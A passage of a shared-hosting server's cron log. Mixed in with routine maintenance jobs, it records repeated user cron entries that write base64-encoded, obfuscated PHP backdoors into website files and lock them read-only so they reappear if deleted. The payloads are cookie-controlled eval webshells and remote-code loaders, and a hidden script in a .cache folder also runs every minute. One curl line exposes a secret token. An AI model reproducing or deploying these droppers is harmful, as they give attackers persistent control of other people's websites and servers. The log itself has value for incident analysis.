gICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:27:02 medusa CROND[24777]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 20:27:02 medusa CROND[24804]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:27:02 medusa CROND[24806]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:27:02 medusa CROND[24809]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:28:01 medusa CROND[8425]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 20:28:02 medusa CROND[8659]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 20:28:02 medusa CROND[8660]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 20:28:02 medusa CROND[8663]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:28:02 medusa CROND[8664]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:28:02 medusa CROND[8665]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:28:02 medusa CROND[8669]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 20:28:02 medusa CROND[8671]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 20:28:02 medusa CROND[8673]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:28:02 medusa CROND[8675]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 20:28:02 medusa CROND[8668]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 20:28:02 medusa CROND[8681]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 20:28:02 medusa CROND[8685]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 20:28:02 medusa CROND[8689]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 20:29:01 medusa CROND[26187]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 20:29:02 medusa CROND[26507]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 20:29:02 medusa CROND[26508]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 20:29:02 medusa CROND[26509]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 20:29:02 medusa CROND[26512]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 20:29:02 medusa CROND[26517]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:29:02 medusa CROND[26510]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Mar  1 20:29:02 medusa CROND[26538]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 20:29:02 medusa CROND[26539]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 20:29:02 medusa CROND[26541]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:29:02 medusa CROND[26542]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo 